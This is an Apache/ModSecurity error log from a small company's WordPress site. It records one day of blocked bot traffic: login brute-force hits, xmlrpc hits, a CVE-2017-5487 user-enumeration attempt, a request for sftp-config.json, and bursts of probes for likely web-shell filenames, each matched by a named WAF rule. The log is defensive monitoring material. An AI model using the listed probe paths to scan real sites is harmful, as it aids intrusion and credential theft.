[Mon Mar 30 02:28:59.976728 2026] [autoindex:error] [pid 32255:tid 32307] [client 31.220.80.169:58286] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 30 02:38:36.689435 2026] [:error] [pid 23167:tid 23180] [client 43.157.142.101:45740] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aclxrBIAHJCFaHff3_cQAAAAAco"]
[Mon Mar 30 07:26:40.384373 2026] [:error] [pid 14276:tid 14305] [client 43.132.214.228:54874] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acm1MKTMZfagIqQRE-tIeQAAAlg"]
[Mon Mar 30 08:00:48.052402 2026] [:error] [pid 35250:tid 35316] [client 43.166.1.243:54188] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acm9MIaKM1MR6zcp2YMwEQAAAMU"]
[Mon Mar 30 11:43:39.270168 2026] [:error] [pid 35248:tid 35263] [client 185.238.231.17:33881] [client 185.238.231.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acnxa73igMCgAQPFS_8VaAAAAEk"]
[Mon Mar 30 11:43:41.401554 2026] [:error] [pid 64743:tid 64749] [client 185.238.231.137:44961] [client 185.238.231.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acnxbSzmpVL6Ubzil4hb_gAAAUQ"]
[Mon Mar 30 12:01:20.321324 2026] [:error] [pid 64743:tid 64758] [client 159.223.63.229:43404] [client 159.223.63.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.63.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acn1kCzmpVL6Ubzil4hgVQAAAU0"]
[Mon Mar 30 12:05:30.163919 2026] [:error] [pid 35343:tid 35359] [client 159.223.63.229:53402] [client 159.223.63.229] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acn2iqP5HurqmbvwN-J7ywAAAA4"], referer: https://www.facebook.com/
[Mon Mar 30 12:06:17.637393 2026] [:error] [pid 35343:tid 35354] [client 159.223.63.229:39518] [client 159.223.63.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.63.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acn2uaP5HurqmbvwN-J8DwAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Mar 30 12:06:23.092744 2026] [:error] [pid 35343:tid 35362] [client 159.223.63.229:39518] [client 159.223.63.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.63.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acn2v6P5HurqmbvwN-J8HAAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Mar 30 12:06:26.288361 2026] [:error] [pid 35343:tid 35363] [client 159.223.63.229:39518] [client 159.223.63.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.63.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acn2wqP5HurqmbvwN-J8JQAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Mar 30 12:51:49.888183 2026] [:error] [pid 41941:tid 41962] [client 43.166.136.153:39972] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acoBZSB2g7BNCXGBOJOXLwAAARM"]
[Mon Mar 30 13:21:06.457212 2026] [:error] [pid 35249:tid 35296] [client 20.222.17.205:2886] [client 20.222.17.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/logs233/index.php"] [unique_id "acoIQiqCKiTq85d6rgAu3AAAAIw"]
[Mon Mar 30 13:21:06.979889 2026] [:error] [pid 50663:tid 50679] [client 20.222.17.205:2663] [client 20.222.17.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/logs233/index.php"] [unique_id "acoIQm28b9DKIAMEdfDPGQAAAY4"]
[Mon Mar 30 13:21:07.565470 2026] [:error] [pid 50663:tid 50674] [client 20.222.17.205:2660] [client 20.222.17.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/logs233/index.php"] [unique_id "acoIQ228b9DKIAMEdfDPHQAAAYk"]
[Mon Mar 30 13:21:08.113593 2026] [:error] [pid 50663:tid 50678] [client 20.222.17.205:2899] [client 20.222.17.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/logs233/index.php"] [unique_id "acoIRG28b9DKIAMEdfDPIgAAAY0"]
[Mon Mar 30 13:35:36.941081 2026] [:error] [pid 35250:tid 35333] [client 43.138.68.113:37454] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acoLqIaKM1MR6zcp2YPO_QAAANY"]
[Mon Mar 30 13:44:08.854962 2026] [:error] [pid 35250:tid 35315] [client 104.168.44.59:15258] [client 104.168.44.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "acoNqIaKM1MR6zcp2YPQmQAAAMQ"]
[Mon Mar 30 18:16:21.138785 2026] [:error] [pid 35248:tid 35264] [client 43.157.53.115:55734] [client 43.157.53.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acpNdb3igMCgAQPFS_91eQAAAEo"]
[Mon Mar 30 21:04:38.543194 2026] [:error] [pid 35249:tid 35306] [client 95.159.6.168:15653] [client 95.159.6.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.159.6.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acp05iqCKiTq85d6rgBc7QAAAJY"]
[Mon Mar 30 21:35:43.269868 2026] [:error] [pid 60746:tid 60799] [client 93.114.208.99:11169] [client 93.114.208.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.114.208.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acp8L54kQrgjDdAbQCoMvgAAAJc"]
[Mon Mar 30 21:42:35.426188 2026] [:error] [pid 63557:tid 63560] [client 93.114.208.99:12173] [client 93.114.208.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.114.208.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acp9y64QNVlzYgEvIjl6_wAAAQE"]
[Mon Mar 30 22:18:43.526585 2026] [:error] [pid 63557:tid 63567] [client 43.166.251.233:58274] [client 43.166.251.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acqGQ64QNVlzYgEvIjmTjwAAAQg"]
[Mon Mar 30 23:35:30.329790 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:62314] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "acqYQq4QNVlzYgEvIjnJQwAAARA"]
[Mon Mar 30 23:35:30.797602 2026] [:error] [pid 60746:tid 60788] [client 72.146.16.175:60225] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "acqYQp4kQrgjDdAbQCoxzAAAAIw"]
[Mon Mar 30 23:35:31.284125 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:65422] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "acqYQ64QNVlzYgEvIjnJRwAAAQ0"]
[Mon Mar 30 23:35:31.755964 2026] [:error] [pid 60746:tid 60790] [client 72.146.16.175:61459] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "acqYQ54kQrgjDdAbQCoxzQAAAI4"]
[Mon Mar 30 23:35:32.232174 2026] [:error] [pid 60835:tid 60847] [client 72.146.16.175:62230] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "acqYRAIOJ4Lc0iJVRzwC6wAAAAo"]
[Mon Mar 30 23:35:32.733442 2026] [:error] [pid 60835:tid 60854] [client 72.146.16.175:61482] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "acqYRAIOJ4Lc0iJVRzwC8AAAABE"]
[Mon Mar 30 23:35:33.203684 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:61513] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "acqYRQIOJ4Lc0iJVRzwC9QAAABU"]
[Mon Mar 30 23:35:33.690100 2026] [:error] [pid 60746:tid 60787] [client 72.146.16.175:60744] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "acqYRZ4kQrgjDdAbQCox0AAAAIs"]
[Mon Mar 30 23:35:34.168451 2026] [:error] [pid 60745:tid 60759] [client 72.146.16.175:61456] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "acqYRiQDBn75QnHaPb9VXAAAAEo"]
[Mon Mar 30 23:35:34.708331 2026] [:error] [pid 60835:tid 60844] [client 72.146.16.175:65481] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "acqYRgIOJ4Lc0iJVRzwC-wAAAAc"]
[Mon Mar 30 23:35:35.194690 2026] [:error] [pid 60835:tid 60860] [client 72.146.16.175:60233] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "acqYRwIOJ4Lc0iJVRzwC_gAAABc"]
[Mon Mar 30 23:35:35.675179 2026] [:error] [pid 60835:tid 60855] [client 72.146.16.175:60740] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "acqYRwIOJ4Lc0iJVRzwDAgAAABI"]
[Mon Mar 30 23:35:36.151504 2026] [:error] [pid 60835:tid 60839] [client 72.146.16.175:63842] [client 72.146.16.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "acqYSAIOJ4Lc0iJVRzwDBQAAAAI"]
[Mon Mar 30 23:35:36.642988 2026] [:error] [pid 60746:tid 60788] [client 72.146.16.175:63846] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "acqYSJ4kQrgjDdAbQCox2wAAAIw"]
[Mon Mar 30 23:35:37.121779 2026] [:error] [pid 60746:tid 60784] [client 72.146.16.175:62313] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "acqYSZ4kQrgjDdAbQCox3wAAAIg"]
[Mon Mar 30 23:35:37.602076 2026] [:error] [pid 60746:tid 60797] [client 72.146.16.175:65474] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "acqYSZ4kQrgjDdAbQCox4QAAAJU"]
[Mon Mar 30 23:35:38.072958 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:63852] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "acqYSq4QNVlzYgEvIjnJTwAAARM"]
[Mon Mar 30 23:35:38.554291 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:62303] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "acqYSq4QNVlzYgEvIjnJVQAAAQM"]
[Mon Mar 30 23:35:39.034352 2026] [:error] [pid 60745:tid 60764] [client 72.146.16.175:62281] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "acqYSyQDBn75QnHaPb9VYwAAAE8"]
[Mon Mar 30 23:35:39.508073 2026] [:error] [pid 60747:tid 60811] [client 72.146.16.175:58940] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "acqYSwU3IY-cCpy_-zFPIQAAAMg"]
[Mon Mar 30 23:35:39.977949 2026] [:error] [pid 63557:tid 63560] [client 72.146.16.175:60236] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "acqYS64QNVlzYgEvIjnJXgAAAQE"]
[Mon Mar 30 23:35:40.460623 2026] [:error] [pid 60746:tid 60792] [client 72.146.16.175:65500] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "acqYTJ4kQrgjDdAbQCox6AAAAJA"]
[Mon Mar 30 23:35:40.930059 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:61527] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "acqYTK4QNVlzYgEvIjnJYQAAARM"]
[Mon Mar 30 23:35:41.406060 2026] [:error] [pid 60747:tid 60806] [client 72.146.16.175:61446] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "acqYTQU3IY-cCpy_-zFPJQAAAMM"]
[Mon Mar 30 23:35:41.879662 2026] [:error] [pid 60747:tid 60807] [client 72.146.16.175:62329] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "acqYTQU3IY-cCpy_-zFPKQAAAMQ"]
[Mon Mar 30 23:35:42.373425 2026] [:error] [pid 63557:tid 63563] [client 72.146.16.175:60750] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acqYTq4QNVlzYgEvIjnJZQAAAQQ"]
[Mon Mar 30 23:35:42.865340 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:62332] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acqYTq4QNVlzYgEvIjnJZgAAAQM"]
[Mon Mar 30 23:35:43.340767 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:65499] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acqYT64QNVlzYgEvIjnJaQAAARc"]
[Mon Mar 30 23:35:43.822168 2026] [:error] [pid 60745:tid 60767] [client 72.146.16.175:61457] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acqYTyQDBn75QnHaPb9VbAAAAFI"]
